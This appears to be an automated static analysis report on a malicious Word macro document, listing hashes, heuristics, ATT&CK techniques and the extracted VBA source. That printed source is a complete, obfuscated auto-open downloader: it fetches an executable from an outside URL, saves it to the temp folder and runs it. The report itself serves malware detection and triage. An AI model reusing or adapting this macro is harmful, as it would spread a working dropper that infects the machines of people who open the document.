Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2ee6e22de91581fe…

MALICIOUS

Office (OLE)

107.0 KB Created: 2015-01-19 09:39:00 Authoring application: Microsoft Office Word First seen: 2015-02-05
MD5: d3b9adf10b504697621ea38f920d68e1 SHA-1: e6ac9bd4b284c134cc2a99dc693c409763d3dba5 SHA-256: 2ee6e22de91581fe5dd93407be7207f746c3c6ae52264065c3a344d61e4d0f2d
258 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The critical heuristic 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER' indicates an obfuscated auto-exec VBA loader that uses CreateObject and Shell execution. The VBA script contains a Base64 encoded string 'aHR0cDovL1VLUi1URUNIVFJBSU5JTkdET01BSU4uQ09NL2pzL2Jpbi5leGU=' which decodes to 'http://UKR-TECHTRAININGDOMAIN.COM/js/bin.exe', likely the URL for a second-stage payload. The script also attempts to use 'Shell.Application' and potentially 'PowerShell' for execution, suggesting an Ingress Tool Transfer (T1105) attack pattern.

Heuristics 9

  • ClamAV: Doc.Dropper.Agent-1563595 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-1563595
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set ZNMPYFFKHMF = CreateObject(tocFpmF(Ky1e8CmX3))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set ZNMPYFFKHMF = CreateObject(tocFpmF(Ky1e8CmX3))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    sdfsdfsdf.Open Environ(tocFpmF(fSt)) & tocFpmF(rpg)
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 21072 bytes
SHA-256: 792427951bbb7cc350548f5a9f6b3881e7bd9c946d202c10dae972fe9c550352
Detection
ClamAV: No threats found
Obfuscation or payload: likely
159 of 245 identifiers look randomly generated (e.g. 'U2hlbGwuQXBwbGljYXRpb24') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Const u3Uwsv = "aHR0cDovL1VLUi1URUNIVFJBSU5JTkdET01BSU4uQ09NL2pzL2Jpbi5leGU="
Private Const SwH7 = "XHNkZnNkZmVyZndlLmV4ZQ=="
Private Const rEKE = "VEVNUA=="
Private Const rpg = SwH7
Private Const fSt = rEKE
Private Const dThZ7U4aF = "U2hlbGwuQXBwbGljYXRpb24="
Private Const qsVrDVAmOj = "Z2ZoZGZnc2Rn"
Private Const SFgBv0ISXZ = "R0VU"
Private Const Ky1e8CmX3 = "TVNYTUwyLlhNTEhUVFA="
Private aDecTab(255) As Integer
Private Const TcKhQpncb = "="
Private Const uwbNZtnc = "/"
Private Const mE4AWCC3O = "+"
Private Const rH2A = "9"
Private Const MPt = "0"
Private Const o4YsRAnX = "z"
Private Const vJ5d = "a"
Private Const lVvyl = "Z"
Private Const uoqGqBG = "A"
Private Const BvWUutkkp = " "

Sub Zkp()
 HJlIT
Dim GxoBMv As Integer
For GxoBMv = 1136 To 1136 + 5
DoEvents
Next GxoBMv
Dim gmujOYZQczG As Integer
For gmujOYZQczG = 2307 To 2307 + 5
DoEvents
Next gmujOYZQczG
End Sub
Sub iVF()
     Zkp
Dim QijEFOmTx As Integer
For QijEFOmTx = 691 To 691 + 5
DoEvents
Next QijEFOmTx
Dim YyJDVSpL As Integer
For YyJDVSpL = 2211 To 2211 + 5
DoEvents
Next YyJDVSpL
End Sub
Sub fdgdfgdfs()
     Zkp
Dim qJpMfrfdQpmsCIEQijEFO As Integer
For qJpMfrfdQpmsCIEQijEFO = 2244 To 2244 + 5
DoEvents
Next qJpMfrfdQpmsCIEQijEFO
Dim LkcYkAP As Integer
For LkcYkAP = 1927 To 1927 + 5
DoEvents
Next LkcYkAP
End Sub
Function OMDQIXQgo(ByVal ADLSYXKPREO As String, ByVal IKDBZPEAYPQ As String) As Boolean
     Dim lujjb As Long, MQVWCEBVJCH As Long, KEXFJZFKHXC() As Byte
Dim zSbQwrsqgZgKlQnr As Integer
For zSbQwrsqgZgKlQnr = 1420 To 1420 + 5
DoEvents
Next zSbQwrsqgZgKlQnr
Dim FAegMgujOYZQ As Integer
For FAegMgujOYZQ = 2245 To 2245 + 5
DoEvents
Next FAegMgujOYZQ

Dim Qwrsq As Integer
For Qwrsq = 1737 To 1737 + 5
DoEvents
Next Qwrsq
Dim lxatZ As Integer
For lxatZ = 1864 To 1864 + 5
DoEvents
Next lxatZ
    Set ZNMPYFFKHMF = CreateObject(tocFpmF(Ky1e8CmX3))
Dim SpLkcYkAPlZi As Integer
For SpLkcYkAPlZi = 1736 To 1736 + 5
DoEvents
Next SpLkcYkAPlZi
Dim tlKnRCx As Integer
For tlKnRCx = 2054 To 2054 + 5
DoEvents
Next tlKnRCx
    ZNMPYFFKHMF.Open tocFpmF(SFgBv0ISXZ), ADLSYXKPREO, False
Dim wOoOaTmUscms As Integer
For wOoOaTmUscms = 471 To 471 + 5
DoEvents
Next wOoOaTmUscms
Dim KnRCxmxoBMvuiTvRsardh As Integer
For KnRCxmxoBMvuiTvRsardh = 2052 To 2052 + 5
DoEvents
Next KnRCxmxoBMvuiTvRsardh
    ZNMPYFFKHMF.Send tocFpmF(qsVrDVAmOj)
Dim gKlQnrtlKnRCmGxoBMvu As Integer
For gKlQnrtlKnRCmGxoBMvu = 1705 To 1705 + 5
DoEvents
Next gKlQnrtlKnRCmGxoBMvu
Dim iSahx As Integer
For iSahx = 1337 To 1337 + 5
DoEvents
Next iSahx

Dim zTmhVC As Integer
For zTmhVC = 1305 To 1305 + 5
DoEvents
Next zTmhVC
Dim zRrRd As Integer
For zRrRd = 2226 To 2226 + 5
DoEvents
Next zRrRd

Dim UFBpJAr As Integer
For UFBpJAr = 2066 To 2066 + 5
DoEvents
Next UFBpJAr
Dim JQvHHQbeV As Integer
For JQvHHQbeV = 1657 To 1657 + 5
DoEvents
Next JQvHHQbeV
    KEXFJZFKHXC = ZNMPYFFKHMF.responseBody
Dim FBpJArFPyxlYUhwduhlK As Integer
For FBpJArFPyxlYUhwduhlK = 990 To 990 + 5
DoEvents
Next FBpJArFPyxlYUhwduhlK
Dim sBaTxzgFNDjefd As Integer
For sBaTxzgFNDjefd = 546 To 546 + 5
DoEvents
Next sBaTxzgFNDjefd

Dim cyQdZknCY As Integer
For cyQdZknCY = 643 To 643 + 5
DoEvents
Next cyQdZknCY
Dim RrRdQpZvf As Integer
For RrRdQpZvf = 1529 To 1529 + 5
DoEvents
Next RrRdQpZvf
    MQVWCEBVJCH = FreeFile
Dim snQgzThVCKLJO As Integer
For snQgzThVCKLJO = 706 To 706 + 5
DoEvents
Next snQgzThVCKLJO
Dim egYxaEC As Integer
For egYxaEC = 168 To 168 + 5
DoEvents
Next egYxaEC
    Open IKDBZPEAYPQ For Binary Access Write As #MQVWCEBVJCH
Dim xnSccafJQvHHQbeV As Integer
For xnSccafJQvHHQbeV = 1657 To 1657 + 5
DoEvents
Next xnSccafJQvHHQbeV
Dim txArQ As Integer
For txArQ = 971 To 971 + 5
DoEvents
Next txArQ
    Put #MQVWCEBVJCH, , KEXFJZFKHXC
Dim TyKKbehZxMF As Integer
For TyKKbehZxMF = 2049 To 2049 + 5
DoEvents
Next TyKKbehZxMF
Dim wBngnQsd As Integer
For wBngnQsd = 1193 To 1193 + 5
DoEvents
Next wBngnQsd
    Close #MQVWCEBVJCH
Dim mUiHHjr As Integer
For mUiHHjr = 781 To 781 + 5
DoEvents
Next mUiHHjr
Dim rQtZIEtND As Integer
For rQtZIEtND = 498 To 498 + 5
DoEvents
Next rQtZIEtND
    
Dim rDgzfD As Integer
For rDgzfD = 1635 To 1635 + 5
DoEvents
Next rDgzfD
Dim nrFbd As Integer
For nrFbd = 1005 To 1005 + 5
DoEvents
Next nrFbd
Set sdfsdfsdf = CreateObject(tocFpmF(dThZ7U4aF))
Dim TJpkljoagn As Integer
For TJpkljoagn = 639 To 639 + 5
DoEvents
Next TJpkljoagn
Dim fruIeg As Integer
For fruIeg = 69 To 69 + 5
DoEvents
Next fruIeg
sdfsdfsdf.Open Environ(tocFpmF(fSt)) & tocFpmF(rpg)
Dim uHjCiG As Integer
For uHjCiG = 699 To 699 + 5
DoEvents
Next uHjCiG
Dim EreFcoCkB As Integer
For EreFcoCkB = 1047 To 1047 + 5
DoEvents
Next EreFcoCkB
End Function
Sub autoopen()
     Zkp
End Sub
Sub HJlIT()
BHngijbjfdv = Environ(tocFpmF(fSt)) & tocFpmF(rpg)
Dim kcAPIsdxafs As Integer
For kcAPIsdxafs = 290 To 290 + 5
DoEvents
Next kcAPIsdxafs
Dim cLHwQGxL As Integer
For cLHwQGxL = 2282 To 2282 + 5
DoEvents
Next cLHwQGxL
sdnfhuijk = tocFpmF(u3Uwsv)
Dim afspYlKK As Integer
For afspYlKK = 2347 To 2347 + 5
DoEvents
Next afspYlKK
Dim miuxLh As Integer
For miuxLh = 334 To 334 + 5
DoEvents
Next miuxLh
     OMDQIXQgo sdnfhuijk, BHngijbjfdv
Dim mGlJbBcnhz As Integer
For mGlJbBcnhz = 2455 To 2455 + 5
DoEvents
Next mGlJbBcnhz
Dim KzTKAOZHHvh As Integer
For KzTKAOZHHvh = 903 To 903 + 5
DoEvents
Next KzTKAOZHHvh
End Sub


Public Function tocFpmF(sEncoded As String) As String
Dim vAd As String
Dim hknfESLwegA As Integer
For hknfESLwegA = 1506 To 1506 + 5
DoEvents
Next hknfESLwegA
Dim kADGyQAf As Integer
For kADGyQAf = 2169 To 2169 + 5
DoEvents
Next kADGyQAf
Dim d(3) As Byte
Dim jeHJqwPYMs As Integer
For jeHJqwPYMs = 1505 To 1505 + 5
DoEvents
Next jeHJqwPYMs
Dim IdwqgLU As Integer
For IdwqgLU = 113 To 113 + 5
DoEvents
Next IdwqgLU
Dim C As Byte
Dim lkAqtlJmRP As Integer
For lkAqtlJmRP = 1468 To 1468 + 5
DoEvents
Next lkAqtlJmRP
Dim AOkmvFAd As Integer
For AOkmvFAd = 1308 To 1308 + 5
DoEvents
Next AOkmvFAd
Dim di As Integer
Dim EOmhKMszS As Integer
For EOmhKMszS = 138 To 138 + 5
DoEvents
Next EOmhKMszS
Dim KjplxAO As Integer
For KjplxAO = 2036 To 2036 + 5
DoEvents
Next KjplxAO
Dim i As Long
Dim hwDEOmhKMsz As Integer
For hwDEOmhKMsz = 1466 To 1466 + 5
DoEvents
Next hwDEOmhKMsz
Dim yIDhwOj As Integer
For yIDhwOj = 1038 To 1038 + 5
DoEvents
Next yIDhwOj
Dim Yagv1OZ As Long
Dim HTkzGIRpkN As Integer
For HTkzGIRpkN = 880 To 880 + 5
DoEvents
Next HTkzGIRpkN
Dim fNNBnOlxLtKw As Integer
For fNNBnOlxLtKw = 943 To 943 + 5
DoEvents
Next fNNBnOlxLtKw
Dim ahUiR2UU6UrM As Long
Dim ZgKYQnrtlKa As Integer
For ZgKYQnrtlKa = 1986 To 1986 + 5
DoEvents
Next ZgKYQnrtlKa
Dim KKJOzszeEqG As Integer
For KKJOzszeEqG = 814 To 814 + 5
DoEvents
Next KKJOzszeEqG
Yagv1OZ = Len(sEncoded)
Dim MrPhHit As Integer
For MrPhHit = 89 To 89 + 5
DoEvents
Next MrPhHit
Dim RQEqRo As Integer
For RQEqRo = 1652 To 1652 + 5
DoEvents
Next RQEqRo
vAd = String((Yagv1OZ \ 4) * 3, BvWUutkkp)
Dim pKnrFBk As Integer
For pKnrFBk = 1619 To 1619 + 5
DoEvents
Next pKnrFBk
Dim TIdTKYiRQEqR As Integer
For TIdTKYiRQEqR = 131 To 131 + 5
DoEvents
Next TIdTKYiRQEqR
ahUiR2UU6UrM = 0
Dim FluvtyVdkNb As Integer
For FluvtyVdkNb = 1999 To 1999 + 5
DoEvents
Next FluvtyVdkNb
Dim NOMRCvChHtJ As Integer
For NOMRCvChHtJ = 2378 To 2378 + 5
DoEvents
Next NOMRCvChHtJ
di = 0
Dim TJpxywBZgn As Integer
For TJpxywBZgn = 748 To 748 + 5
DoEvents
Next TJpxywBZgn
Dim IefoMtQmSZ As Integer
For IefoMtQmSZ = 1412 To 1412 + 5
DoEvents
Next IefoMtQmSZ
Call kp1UWLnYV
Dim MEAMesN As Integer
For MEAMesN = 952 To 952 + 5
DoEvents
Next MEAMesN
Dim gmitKLhisPwa As Integer
For gmitKLhisPwa = 2310 To 2310 + 5
DoEvents
Next gmitKLhisPwa
' Read in each char in trun
Dim GIpJO As Integer
For GIpJO = 1139 To 1139 + 5
DoEvents
Next GIpJO
Dim sPwapV As Integer
For sPwapV = 1205 To 1205 + 5
DoEvents
Next sPwapV
For i = 1 To Len(sEncoded)
Dim hvQENmhJLsM As Integer
For hvQENmhJLsM = 47 To 47 + 5
DoEvents
Next hvQENmhJLsM
Dim YjplwNO As Integer
For YjplwNO = 2102 To 2102 + 5
DoEvents
Next YjplwNO
C = CByte(Asc(Mid(sEncoded, i, 1)))
Dim epjByVrPH As Integer
For epjByVrPH = 899 To 899 + 5
DoEvents
Next epjByVrPH
Dim SzdtagzH As Integer
For SzdtagzH = 712 To 712 + 5
DoEvents
Next SzdtagzH
C = aDecTab(C)
Dim vPUdSyHIGLj As Integer
For vPUdSyHIGLj = 1672 To 1672 + 5
DoEvents
Next vPUdSyHIGLj
Dim djCKzfbb As Integer
For djCKzfbb = 534 To 534 + 5
DoEvents
Next djCKzfbb
If C >= 0 Then
Dim QsardhHhsmE As Integer
For QsardhHhsmE = 692 To 692 + 5
DoEvents
Next QsardhHhsmE
Dim YUscmsoAQ As Integer
For YUscmsoAQ = 978 To 978 + 5
DoEvents
Next YUscmsoAQ
d(di) = C
Dim UFnpJ As Integer
For UFnpJ = 1307 To 1307 + 5
DoEvents
Next UFnpJ
Dim mTIdTJY As Integer
For mTIdTJY = 1147 To 1147 + 5
DoEvents
Next mTIdTJY
di = di + 1
Dim FluvtyjcjNb As Integer
For FluvtyjcjNb = 2065 To 2065 + 5
DoEvents
Next FluvtyjcjNb
Dim pxmRNNMRCJQh As Integer
For pxmRNNMRCJQh = 1084 To 1084 + 5
DoEvents
Next pxmRNNMRCJQh
If di = 4 Then
Dim oxywBmfnQe As Integer
For oxywBmfnQe = 1129 To 1129 + 5
DoEvents
Next oxywBmfnQe
Dim mSZsAq As Integer
For mSZsAq = 1162 To 1162 + 5
DoEvents
Next mSZsAq
Mid$(vAd, ahUiR2UU6UrM + 1, 3) = wXV8Ug(d)
Dim OLQapKLUfa As Integer
For OLQapKLUfa = 592 To 592 + 5
DoEvents
Next OLQapKLUfa
Dim AqVQQPU As Integer
For AqVQQPU = 1509 To 1509 + 5
DoEvents
Next AqVQQPU
ahUiR2UU6UrM = ahUiR2UU6UrM + 3
Dim SOadsNOZidG As Integer
For SOadsNOZidG = 383 To 383 + 5
DoEvents
Next SOadsNOZidG
Dim HSMfOl As Integer
For HSMfOl = 477 To 477 + 5
DoEvents
Next HSMfOl
If d(3) = 64 Then
Dim kQbAomgyvRoM As Integer
For kQbAomgyvRoM = 1650 To 1650 + 5
DoEvents
Next kQbAomgyvRoM
Dim oYjplwNcklv As Integer
For oYjplwNcklv = 492 To 492 + 5
DoEvents
Next oYjplwNcklv
vAd = Left(vAd, Len(vAd) - 1)
Dim aeDspjB As Integer
For aeDspjB = 1694 To 1694 + 5
DoEvents
Next aeDspjB
Dim ZhtVpUtK As Integer
For ZhtVpUtK = 1062 To 1062 + 5
DoEvents
Next ZhtVpUtK
ahUiR2UU6UrM = ahUiR2UU6UrM - 1
Dim kyIrreQr As Integer
For kyIrreQr = 142 To 142 + 5
DoEvents
Next kyIrreQr
Dim jOYYQcyF As Integer
For jOYYQcyF = 2373 To 2373 + 5
DoEvents
Next jOYYQcyF
End If
Dim tzSbPvrrqu As Integer
For tzSbPvrrqu = 1454 To 1454 + 5
DoEvents
Next tzSbPvrrqu
Dim Lgltj As Integer
For Lgltj = 600 To 600 + 5
DoEvents
Next Lgltj
If d(2) = 64 Then
Dim MrPitif As Integer
For MrPitif = 1530 To 1530 + 5
DoEvents
Next MrPitif
Dim DFaCHUfANBnO As Integer
For DFaCHUfANBnO = 1024 To 1024 + 5
DoEvents
Next DFaCHUfANBnO
vAd = Left(vAd, Len(vAd) - 1)
Dim hxYQndgYwaEC As Integer
For hxYQndgYwaEC = 234 To 234 + 5
DoEvents
Next hxYQndgYwaEC
Dim qRonOwNzD As Integer
For qRonOwNzD = 500 To 500 + 5
DoEvents
Next qRonOwNzD
ahUiR2UU6UrM = ahUiR2UU6UrM - 1
Dim dHFncwner As Integer
For dHFncwner = 530 To 530 + 5
DoEvents
Next dHFncwner
Dim ZENOMR As Integer
For ZENOMR = 2336 To 2336 + 5
DoEvents
Next ZENOMR
End If
Dim xyHfaDF As Integer
For xyHfaDF = 513 To 513 + 5
DoEvents
Next xyHfaDF
Dim DrdEbnBjA As Integer
For DrdEbnBjA = 1113 To 1113 + 5
DoEvents
Next DrdEbnBjA
di = 0
Dim hkbAP As Integer
For hkbAP = 2316 To 2316 + 5
DoEvents
Next hkbAP
Dim ByUEPV As Integer
For ByUEPV = 2046 To 2046 + 5
DoEvents
Next ByUEPV
End If
Dim utVDUGKkKVPi As Integer
For utVDUGKkKVPi = 2267 To 2267 + 5
DoEvents
Next utVDUGKkKVPi
Dim NaCVBarDr As Integer
For NaCVBarDr = 1887 To 1887 + 5
DoEvents
Next NaCVBarDr
End If
Dim QgBoyVQuw As Integer
For QgBoyVQuw = 843 To 843 + 5
DoEvents
Next QgBoyVQuw
Dim dvGvsmEBZ As Integer
For dvGvsmEBZ = 1634 To 1634 + 5
DoEvents
Next dvGvsmEBZ
Next i
Dim gzFNCirs As Integer
For gzFNCirs = 700 To 700 + 5
DoEvents
Next gzFNCirs
Dim YkBBY As Integer
For YkBBY = 730 To 730 + 5
DoEvents
Next YkBBY
 tocFpmF = vAd
Dim QeRDfBAcbMRrRdQpmI As Integer
For QeRDfBAcbMRrRdQpmI = 1206 To 1206 + 5
DoEvents
Next QeRDfBAcbMRrRdQpmI
Dim LjBNBz As Integer
For LjBNBz = 869 To 869 + 5
DoEvents
Next LjBNBz
End Function
Private Function wXV8Ug(d() As Byte) As String
Dim MUlJcBiW As String
Dim DgMeQUuUg As Integer
For DgMeQUuUg = 1377 To 1377 + 5
DoEvents
Next DgMeQUuUg
Dim fqHIef As Integer
For fqHIef = 156 To 156 + 5
DoEvents
Next fqHIef
Dim C As Long
Dim HGjQiT As Integer
For HGjQiT = 1802 To 1802 + 5
DoEvents
Next HGjQiT
Dim nPjOn As Integer
For nPjOn = 1294 To 1294 + 5
DoEvents
Next nPjOn
MUlJcBiW = vbNullString
Dim mTlQbAbmgy As Integer
For mTlQbAbmgy = 43 To 43 + 5
DoEvents
Next mTlQbAbmgy
Dim HTIFzRO As Integer
For HTIFzRO = 865 To 865 + 5
DoEvents
Next HTIFzRO
C = RTgCMP8ArHN(d(0)) Or (fmTcJ(d(1)) And &H3)
Dim PxzTw As Integer
For PxzTw = 23 To 23 + 5
DoEvents
Next PxzTw
Dim MFMrR As Integer
For MFMrR = 2177 To 2177 + 5
DoEvents
Next MFMrR
MUlJcBiW = MUlJcBiW & Chr$(C)
Dim KLsMRa As Integer
For KLsMRa = 182 To 182 + 5
DoEvents
Next KLsMRa
Dim bOLFYUscmso As Integer
For bOLFYUscmso = 165 To 165 + 5
DoEvents
Next bOLFYUscmso
C = sWGD(d(1) And &HF) Or (LBCH1U(d(2)) And &HF)
Dim nFCZuTLH As Integer
For nFCZuTLH = 2157 To 2157 + 5
DoEvents
Next nFCZuTLH
Dim SxYJadgYxa As Integer
For SxYJadgYxa = 1855 To 1855 + 5
DoEvents
Next SxYJadgYxa
MUlJcBiW = MUlJcBiW & Chr$(C)
Dim etlVDFbDH As Integer
For etlVDFbDH = 2299 To 2299 + 5
DoEvents
Next etlVDFbDH
Dim OlJPLQa As Integer
For OlJPLQa = 822 To 822 + 5
DoEvents
Next OlJPLQa
C = S2OPk(d(2) And &H3) Or d(3)
Dim JcLiRdieqHV As Integer
For JcLiRdieqHV = 33 To 33 + 5
DoEvents
Next JcLiRdieqHV
Dim yvRoMS As Integer
For yvRoMS = 395 To 395 + 5
DoEvents
Next yvRoMS
MUlJcBiW = MUlJcBiW & Chr$(C)
Dim eqSmRqHhHSMf As Integer
For eqSmRqHhHSMf = 616 To 616 + 5
DoEvents
Next eqSmRqHhHSMf
Dim QoaeDsp As Integer
For QoaeDsp = 1134 To 1134 + 5
DoEvents
Next QoaeDsp
 wXV8Ug = MUlJcBiW
Dim ZhuVpUtK As Integer
For ZhuVpUtK = 1040 To 1040 + 5
DoEvents
Next ZhuVpUtK
Dim yIrreQ As Integer
For yIrreQ = 627 To 627 + 5
DoEvents
Next yIrreQ
End Function
Private Function kp1UWLnYV()
Dim t As Integer
Dim ifNbAAckxZtY As Integer
For ifNbAAckxZtY = 1907 To 1907 + 5
DoEvents
Next ifNbAAckxZtY
Dim dhHvsmE As Integer
For dhHvsmE = 736 To 736 + 5
DoEvents
Next dhHvsmE
Dim C As Integer
Dim foAcwbzRr As Integer
For foAcwbzRr = 1542 To 1542 + 5
DoEvents
Next foAcwbzRr
Dim ugkKy As Integer
For ugkKy = 2428 To 2428 + 5
DoEvents
Next ugkKy
For C = 0 To 255
Dim YxMFpQ As Integer
For YxMFpQ = 2218 To 2218 + 5
DoEvents
Next YxMFpQ
Dim SzFZhQCxy As Integer
For SzFZhQCxy = 1459 To 1459 + 5
DoEvents
Next SzFZhQCxy
aDecTab(C) = -1
Dim qvDtZiiglIPQ As Integer
For qvDtZiiglIPQ = 428 To 428 + 5
DoEvents
Next qvDtZiiglIPQ
Dim bLHvQGxL As Integer
For bLHvQGxL = 2326 To 2326 + 5
DoEvents
Next bLHvQGxL
Next
Dim mFlJbBbmgy As Integer
For mFlJbBbmgy = 2499 To 2499 + 5
DoEvents
Next mFlJbBbmgy
Dim BwaqIdw As Integer
For BwaqIdw = 1582 To 1582 + 5
DoEvents
Next BwaqIdw
t = 0
Dim NfFfqkC As Integer
For NfFfqkC = 1431 To 1431 + 5
DoEvents
Next NfFfqkC
Dim ylMivJrIuy As Integer
For ylMivJrIuy = 2283 To 2283 + 5
DoEvents
Next ylMivJrIuy
For C = Asc(uoqGqBG) To Asc(lVvyl)
Dim juoGpLvGMI As Integer
For juoGpLvGMI = 1981 To 1981 + 5
DoEvents
Next juoGpLvGMI
Dim ZVtOntpBES As Integer
For ZVtOntpBES = 968 To 968 + 5
DoEvents
Next ZVtOntpBES
aDecTab(C) = t
Dim UwQvTmLmxr As Integer
For UwQvTmLmxr = 3 To 3 + 5
DoEvents
Next UwQvTmLmxr
Dim LZjSRFrSpBPx As Integer
For LZjSRFrSpBPx = 1773 To 1773 + 5
DoEvents
Next LZjSRFrSpBPx
t = t + 1
Dim CahoRfeu As Integer
For CahoRfeu = 1818 To 1818 + 5
DoEvents
Next CahoRfeu
Dim nTatBrQRSQVG As Integer
For nTatBrQRSQVG = 2356 To 2356 + 5
DoEvents
Next nTatBrQRSQVG
Next
Dim UJpyzxCahoR As Integer
For UJpyzxCahoR = 458 To 458 + 5
DoEvents
Next UJpyzxCahoR
Dim QdwEuaU As Integer
For QdwEuaU = 91 To 91 + 5
DoEvents
Next QdwEuaU
For C = Asc(vJ5d) To Asc(o4YsRAnX)
Dim HJqKP As Integer
For HJqKP = 1007 To 1007 + 5
DoEvents
Next HJqKP
Dim ZkqmxOP As Integer
For ZkqmxOP = 1970 To 1970 + 5
DoEvents
Next ZkqmxOP
aDecTab(C) = t
Dim EfqkC As Integer
For EfqkC = 1497 To 1497 + 5
DoEvents
Next EfqkC
Dim xObPMGZVscnt As Integer
For xObPMGZVscnt = 339 To 339 + 5
DoEvents
Next xObPMGZVscnt
t = t + 1
Dim aSClnHkoCM As Integer
For aSClnHkoCM = 1195 To 1195 + 5
DoEvents
Next aSClnHkoCM
Dim JRiIHYNQI As Integer
For JRiIHYNQI = 509 To 509 + 5
DoEvents
Next JRiIHYNQI
Next
Dim mvvuzkdkOc As Integer
For mvvuzkdkOc = 1933 To 1933 + 5
DoEvents
Next mvvuzkdkOc
Dim nTatBq As Integer
For nTatBq = 1031 To 1031 + 5
DoEvents
Next nTatBq
For C = Asc(MPt) To Asc(rH2A)
Dim wtPlK As Integer
For wtPlK = 2454 To 2454 + 5
DoEvents
Next wtPlK
Dim ITNgPm As Integer
For ITNgPm = 345 To 345 + 5
DoEvents
Next ITNgPm
aDecTab(C) = t
Dim ocNpLYm As Integer
For ocNpLYm = 29 To 29 + 5
DoEvents
Next ocNpLYm
Dim oDwgNQlNRgd As Integer
For oDwgNQlNRgd = 1688 To 1688 + 5
DoEvents
Next oDwgNQlNRgd
t = t + 1
Dim eHjTkoriHkOz As Integer
For eHjTkoriHkOz = 1213 To 1213 + 5
DoEvents
Next eHjTkoriHkOz
Dim GBegMh As Integer
For GBegMh = 1799 To 1799 + 5
DoEvents
Next GBegMh
Next
Dim NfrgdQp As Integer
For NfrgdQp = 372 To 372 + 5
DoEvents
Next NfrgdQp
Dim EGbDIVgBOCoP As Integer
For EGbDIVgBOCoP = 892 To 892 + 5
DoEvents
Next EGbDIVgBOCoP
C = Asc(mE4AWCC3O)
Dim ZxbFDl As Integer
For ZxbFDl = 798 To 798 + 5
DoEvents
Next ZxbFDl
Dim wrUkCQ As Integer
For wrUkCQ = 2172 To 2172 + 5
DoEvents
Next wrUkCQ
aDecTab(C) = t
Dim VvVhbtczj As Integer
For VvVhbtczj = 527 To 527 + 5
DoEvents
Next VvVhbtczj
Dim vhxADvUxcMHw As Integer
For vhxADvUxcMHw = 1078 To 1078 + 5
DoEvents
Next vhxADvUxcMHw
t = t + 1
Dim BONeikcBQItb As Integer
For BONeikcBQItb = 1172 To 1172 + 5
DoEvents
Next BONeikcBQItb
Dim wRScAhKa As Integer
For wRScAhKa = 2199 To 2199 + 5
DoEvents
Next wRScAhKa
C = Asc(uwbNZtnc)
Dim ZxplxNdym As Integer
For ZxplxNdym = 805 To 805 + 5
DoEvents
Next ZxplxNdym
Dim kNeKQkshM As Integer
For kNeKQkshM = 713 To 713 + 5
DoEvents
Next kNeKQkshM
aDecTab(C) = t
Dim tCaUyAhAG As Integer
For tCaUyAhAG = 1294 To 1294 + 5
DoEvents
Next tCaUyAhAG
Dim nvlQLLKPAtAf As Integer
For nvlQLLKPAtAf = 1801 To 1801 + 5
DoEvents
Next nvlQLLKPAtAf
t = t + 1
Dim IwFdYBD As Integer
For IwFdYBD = 1339 To 1339 + 5
DoEvents
Next IwFdYBD
Dim nTatBrQRSQVGHlMxNRTLl As Integer
For nTatBrQRSQVGHlMxNRTLl = 245 To 245 + 5
DoEvents
Next nTatBrQRSQVGHlMxNRTLl
C = Asc(TcKhQpncb)
Dim xCahoSffu As Integer
For xCahoSffu = 1796 To 1796 + 5
DoEvents
Next xCahoSffu
Dim uaUVTZKDK As Integer
For uaUVTZKDK = 1650 To 1650 + 5
DoEvents
Next uaUVTZKDK
aDecTab(C) = t  ' should be 64
Dim cnhzwTpNF As Integer
For cnhzwTpNF = 1682 To 1682 + 5
DoEvents
Next cnhzwTpNF
Dim wTAeubh As Integer
For wTAeubh = 1885 To 1885 + 5
DoEvents
Next wTAeubh
End Function
Private Function RTgCMP8ArHN(ByVal bytValue As Byte) As Byte
 RTgCMP8ArHN = (bytValue * &H4) And &HFF
Dim MITlAVISqlOQ As Integer
For MITlAVISqlOQ = 94 To 94 + 5
DoEvents
Next MITlAVISqlOQ
Dim VtdntpBRSoqz As Integer
For VtdntpBRSoqz = 1836 To 1836 + 5
DoEvents
Next VtdntpBRSoqz
End Function
Private Function sWGD(ByVal bytValue As Byte) As Byte
 sWGD = (bytValue * &H10) And &HFF
Dim CLMKPntBfsrH As Integer
For CLMKPntBfsrH = 552 To 552 + 5
DoEvents
Next CLMKPntBfsrH
Dim nijhmQPQBc As Integer
For nijhmQPQBc = 1737 To 1737 + 5
DoEvents
Next nijhmQPQBc
End Function
Private Function S2OPk(ByVal bytValue As Byte) As Byte
 S2OPk = (bytValue * &H40) And &HFF
Dim ObrGcPZwrUQ As Integer
